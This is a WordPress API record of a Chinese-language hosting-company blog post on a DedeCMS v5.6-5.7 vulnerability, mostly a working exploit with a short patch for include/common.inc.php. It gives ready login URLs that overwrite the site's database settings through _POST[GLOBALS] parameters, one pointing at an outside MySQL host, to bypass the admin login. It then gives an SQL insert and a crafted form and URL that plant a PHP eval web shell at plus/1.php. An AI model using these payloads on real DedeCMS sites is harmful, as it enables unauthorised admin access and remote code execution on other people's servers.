{"id":3356,"date":"2018-04-20T10:12:07","date_gmt":"2018-04-20T02:12:07","guid":{"rendered":"http:\/\/cn.hostease.com\/xueyuan\/?p=3356"},"modified":"2018-04-20T10:12:07","modified_gmt":"2018-04-20T02:12:07","slug":"dedecms%e5%85%8d%e8%b4%a6%e5%8f%b7%e5%af%86%e7%a0%81%e7%9b%b4%e6%8e%a5%e8%bf%9b%e5%90%8e%e5%8f%b0%e6%bc%8f%e6%b4%9e%e4%bd%bf%e7%94%a8%e6%96%b9%e6%b3%95%e5%92%8c%e4%bf%ae%e5%a4%8d%e6%96%b9%e6%b3%95","status":"publish","type":"post","link":"https:\/\/cn.hostease.com\/xueyuan\/uncategorized\/dedecms%e5%85%8d%e8%b4%a6%e5%8f%b7%e5%af%86%e7%a0%81%e7%9b%b4%e6%8e%a5%e8%bf%9b%e5%90%8e%e5%8f%b0%e6%bc%8f%e6%b4%9e%e4%bd%bf%e7%94%a8%e6%96%b9%e6%b3%95%e5%92%8c%e4%bf%ae%e5%a4%8d%e6%96%b9%e6%b3%95\/","title":{"rendered":"DEDECMS\u514d\u8d26\u53f7\u5bc6\u7801\u76f4\u63a5\u8fdb\u540e\u53f0\u6f0f\u6d1e\u4f7f\u7528\u65b9\u6cd5\u548c\u4fee\u590d\u65b9\u6cd5"},"content":{"rendered":"<p>\u4f17\u6240\u5468\u77e5\uff0c\u56e0\u4f7f\u7528\u7b80\u5355\u3001\u5ba2\u6237\u7fa4\u591a\uff0c\u7ec7\u68a6CMS\u4e00\u76f4\u88ab\u7206\u51fa\u8bb8\u591a\u6f0f\u6d1e\u3002\u4eca\u5929\u5c0f\u7f16\u5728\u7fa4\u91cc\u5f97\u5230\u7ec7\u68a6\u5b98\u65b9\u8bba\u575b\u67d0\u7248\u4e3b\u53ef\u9760\u6d88\u606f\uff1aDEDECMS\u7206\u4e25\u91cd\u5b89\u5168\u6f0f\u6d1e\uff0c\u8fd1\u671f\u5b98\u65b9\u4f1a\u53d1\u5e03\u76f8\u5173\u8865\u4e01\uff0c\u671b\u5927\u5bb6\u53ca\u65f6\u5173\u6ce8\u8865\u4e01\u52a8\u6001\u3002<\/p>\n<p>\u5165\u4fb5\u6b65\u9aa4\u5982\u4e0b\uff1ahttps:\/\/www.xx.com\/\u7ec7\u68a6\u7f51\u7ad9\u540e\u53f0\/login.php?dopost=login&amp;validate=dcug&amp;userid=admin&amp;pwd=inimda&amp;_POST[GLOBALS][cfg_dbhost]=116.255.183.90&amp;_POST[GLOBALS][cfg_dbuser]=root&amp;_POST[GLOBALS][cfg_dbpwd]=r0t0&amp;_POST[GLOBALS][cfg_dbname]=root<br \/>\n\u628a\u4e0a\u9762validate\u540e\u9762\u7684\u5b57\u6bcd\u6539\u4e3a\u5f53\u524d\u7684\u9a8c\u8bc1\u7801\uff0c\u5373\u53ef\u76f4\u63a5\u8fdb\u5165\u7f51\u7ad9\u540e\u53f0\u3002<br \/>\n\u5c0f\u7f16\u5206\u6790\u4e86\u4e00\u4e0b\uff0c\u6b64\u6f0f\u6d1e\u7684\u524d\u63d0\u662f\u5fc5\u987b\u5f97\u5230\u540e\u53f0\u8def\u5f84\u624d\u80fd\u5b9e\u73b0\uff0c\u56e0\u6b64\u5927\u5bb6\u4e00\u5b9a\u8981\u517b\u6210\u4f7f\u7528DEDECM\u5efa\u7ad9\u65f6\u6539\u540e\u53f0\u540d\u5b57\u7684\u4e60\u60ef\u3002\u4e0b\u9762\u7ed9\u51fa\u5b98\u65b9\u7684\u89e3\u51b3\u529e\u6cd5\uff1a<\/p>\n<p>\u89e3\u51b3\u529e\u6cd5\uff1a<br \/>\n\u627e\u5230include\/common.inc.php\u6587\u4ef6\uff0c\u628a<br \/>\nforeach($_REQUEST as $_k=&gt;$_v)<br \/>\n{<br \/>\nvar_dump($_k);<br \/>\nif( strlen($_k)&gt;0 &amp;&amp; preg_match(&#8216;#^(cfg_|GLOBALS)#&#8217;,$_k) ):<br \/>\n{<br \/>\nexit(&#8216;Request var not allow!&#8217;);<br \/>\n}<br \/>\n}<br \/>\n\u6362\u6210<\/p>\n<p>\/\/\u68c0\u67e5\u548c\u6ce8\u518c\u5916\u90e8\u63d0\u4ea4\u7684\u53d8\u91cf<br \/>\nfunction CheckRequest(&amp;$val) {<br \/>\nif (is_array($val)) {<br \/>\nforeach ($val as $_k=&gt;$_v) {<br \/>\nCheckRequest($_k);<br \/>\nCheckRequest($val[$_k]);<br \/>\n}<br \/>\n} else<br \/>\n{<br \/>\nif( strlen($val)&gt;0 &amp;&amp; preg_match(&#8216;#^(cfg_|GLOBALS)#&#8217;,$val) )<br \/>\n{<br \/>\nexit(&#8216;Request var not allow!&#8217;);<br \/>\n}<br \/>\n}<br \/>\n}<br \/>\nCheckRequest($_REQUEST);<br \/>\n\u7f51\u4f20\u7684\u90fd\u662f\u8bf4\u8981\u77e5\u9053\u540e\u53f0\u624d\u80fd\u5229\u7528\uff0c\u4f46\u4e0d\u7528\uff0c\u53ea\u8981 plus \u76ee\u5f55\u5b58\u5728\uff0c\u670d\u52a1\u5668\u80fd\u5916\u8fde\uff0c\u5c31\u80fd\u62ffshell<\/p>\n<p>\u524d\u9898\u6761\u4ef6\uff0c\u5fc5\u987b\u51c6\u5907\u597d\u81ea\u5df1\u7684dede\u6570\u636e\u5e93\uff0c\u7136\u540e\u63d2\u5165\u6570\u636e\uff1a<br \/>\ninsert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen(&#8220;1.php&#8221;, \\&#8217;a\\&#8217;);@fwrite($fp, \\&#8217;\\&#8217;);echo &#8220;OK&#8221;;@fclose($fp);{\/dede:php}&#8217;);<br \/>\n\u518d\u7528\u4e0b\u9762\u8868\u5355\u63d0\u4ea4\uff0cshell \u5c31\u5728\u540c\u76ee\u5f55\u4e0b 1.php\u3002\u539f\u7406\u81ea\u5df1\u7814\u7a76\u3002\u3002\u3002<br \/>\n&lt;form act<wbr \/>ion=&#8221;&#8221; method=&#8221;post&#8221; name=&#8221;QuickSearch&#8221; id=&#8221;QuickSearch&#8221; on<wbr \/>submit=&#8221;addaction();&#8221;&gt;<br \/>\n&lt;input type=&#8221;text&#8221; value=&#8221;https:\/\/localhost:8080\/plus\/mytag_js.php?aid=1&#8243; name=&#8221;doaction&#8221; style=&#8221;width:400&#8243;&gt;&lt;br \/&gt;<br \/>\n&lt;input type=&#8221;text&#8221; value=&#8221;dbhost&#8221; name=&#8221;_COOKIE[GLOBALS][cfg_dbhost]&#8221; style=&#8221;width:400&#8243;&gt;&lt;br \/&gt;<br \/>\n&lt;input type=&#8221;text&#8221; value=&#8221;dbuser&#8221; name=&#8221;_COOKIE[GLOBALS][cfg_dbuser]&#8221; style=&#8221;width:400&#8243;&gt;&lt;br \/&gt;<br \/>\n&lt;input type=&#8221;text&#8221; value=&#8221;dbpwd&#8221; name=&#8221;_COOKIE[GLOBALS][cfg_dbpwd]&#8221; style=&#8221;width:400&#8243;&gt;&lt;br \/&gt;<br \/>\n&lt;input type=&#8221;text&#8221; value=&#8221;dbname&#8221; name=&#8221;_COOKIE[GLOBALS][cfg_dbname]&#8221; style=&#8221;width:400&#8243;&gt;&lt;br \/&gt;<br \/>\n&lt;input type=&#8221;text&#8221; value=&#8221;dede_&#8221; name=&#8221;_COOKIE[GLOBALS][cfg_dbprefix]&#8221; style=&#8221;width:400&#8243;&gt;&lt;br \/&gt;<br \/>\n&lt;input type=&#8221;text&#8221; value=&#8221;true&#8221; name=&#8221;nocache&#8221; style=&#8221;width:400&#8243;&gt;<br \/>\n&lt;input type=&#8221;submit&#8221; value=&#8221;\u63d0\u4ea4&#8221; name=&#8221;QuickSearchBtn&#8221;&gt;&lt;br \/&gt;<br \/>\n&lt;\/form&gt;<br \/>\n&lt;script&gt;<br \/>\nfunction addaction()<br \/>\n{<br \/>\ndocument.QuickSearch.act<wbr \/>ion=document.QuickSearch.doaction.value;<br \/>\n}<br \/>\n&lt;\/script&gt;<br \/>\n====================================================<br \/>\nDedeCms v5.6-5.7 0day<br \/>\n\u5176\u5b9e\u9664\u8fc7windows\u7cfb\u7edf\uff0c\u5f88\u591a\u670d\u52a1\u63d0\u4f9b\u5546\u662f\u4e0d\u8ba9php\u8fde\u63a5\u5916\u90e8mysql\u670d\u52a1\u5668\u7684\u3002<\/p>\n<p>\u7528PHPNow\u5728\u672c\u5730\u642d\u5efaDEDECMS\u8fd0\u884c\u73af\u5883\u5e76\u5b89\u88c5DEDECMS\uff0c\u8fd9\u91cc\u4ee5DedeCMSV57_UTF8\u4e3a\u4f8b\u3002<\/p>\n<p>\u76f4\u63a5\u8fdb\u540e\u53f0\uff1a<\/p>\n<p>dede\/login.php?dopost=login&amp;validate=8235&amp;userid=admin&amp;pwd=admin&amp;_POST[GLOBALS][cfg_dbhost]=192.168.1.1&amp;_POST[GLOBALS][cfg_dbuser]=root&amp;_POST[GLOBALS][cfg_dbpwd]=123456&amp;_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&amp;_POST[GLOBALS][cfg_dbprefix]=dede_<\/p>\n<p>\u76f4\u63a5\u83b7\u5f97webshell\uff1a<\/p>\n<p>\u8fdb\u5165\u81ea\u5df1\u5728\u672c\u5730\u642d\u5efa\u7684dede\u6570\u636e\u5e93\uff0c\u7136\u540e\u63d2\u5165\u6570\u636e\uff1a<\/p>\n<p>insert into dede_mytag(aid,normbody) values(1,'{dede:php}$fp = @fopen(&#8220;1.php&#8221;, \\&#8217;a\\&#8217;);@fwrite($fp, \\'&lt;?php ev<wbr \/>al($_POST[c]) ?&gt;\\&#8217;);echo &#8220;OK&#8221;;@fclose($fp);{\/dede:php}&#8217;);<\/p>\n<p>\u5728\u5730\u5740\u680f\u63d0\u4ea4\u4ee5\u4e0b\u8bed\u53e5\u5373\u53ef\u83b7\u5f97\u4e00\u53e5\u8bdd\u6728\u9a6cplus\/1.php\uff1a<\/p>\n<p>plus\/mytag_js.php?aid=1&amp;_POST[GLOBALS][cfg_dbhost]=192.168.1.1&amp;_POST[GLOBALS][cfg_dbuser]=root&amp;_POST[GLOBALS][cfg_dbpwd]=123456&amp;_POST[GLOBALS][cfg_dbname]=dedecmsv57utf8&amp;_POST[GLOBALS][cfg_dbprefix]=dede_&amp;nocache=true<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4f17\u6240\u5468\u77e5\uff0c\u56e0\u4f7f\u7528\u7b80\u5355\u3001\u5ba2\u6237\u7fa4\u591a\uff0c\u7ec7\u68a6CMS\u4e00\u76f4\u88ab\u7206\u51fa\u8bb8\u591a\u6f0f\u6d1e\u3002\u4eca\u5929\u5c0f\u7f16\u5728\u7fa4\u91cc\u5f97\u5230\u7ec7\u68a6\u5b98\u65b9\u8bba\u575b\u67d0\u7248\u4e3b\u53ef\u9760\u6d88\u606f\uff1aD &#8230; <a title=\"DEDECMS\u514d\u8d26\u53f7\u5bc6\u7801\u76f4\u63a5\u8fdb\u540e\u53f0\u6f0f\u6d1e\u4f7f\u7528\u65b9\u6cd5\u548c\u4fee\u590d\u65b9\u6cd5\" class=\"read-more\" href=\"https:\/\/cn.hostease.com\/xueyuan\/uncategorized\/dedecms%e5%85%8d%e8%b4%a6%e5%8f%b7%e5%af%86%e7%a0%81%e7%9b%b4%e6%8e%a5%e8%bf%9b%e5%90%8e%e5%8f%b0%e6%bc%8f%e6%b4%9e%e4%bd%bf%e7%94%a8%e6%96%b9%e6%b3%95%e5%92%8c%e4%bf%ae%e5%a4%8d%e6%96%b9%e6%b3%95\/\" aria-label=\"\u9605\u8bfb DEDECMS\u514d\u8d26\u53f7\u5bc6\u7801\u76f4\u63a5\u8fdb\u540e\u53f0\u6f0f\u6d1e\u4f7f\u7528\u65b9\u6cd5\u548c\u4fee\u590d\u65b9\u6cd5\">\u9605\u8bfb\u66f4\u591a<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3356","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"jetpack_featured_media_url":"","jetpack-related-posts":[],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts\/3356","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/comments?post=3356"}],"version-history":[{"count":1,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts\/3356\/revisions"}],"predecessor-version":[{"id":3357,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/posts\/3356\/revisions\/3357"}],"wp:attachment":[{"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/media?parent=3356"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/categories?post=3356"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cn.hostease.com\/xueyuan\/wp-json\/wp\/v2\/tags?post=3356"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}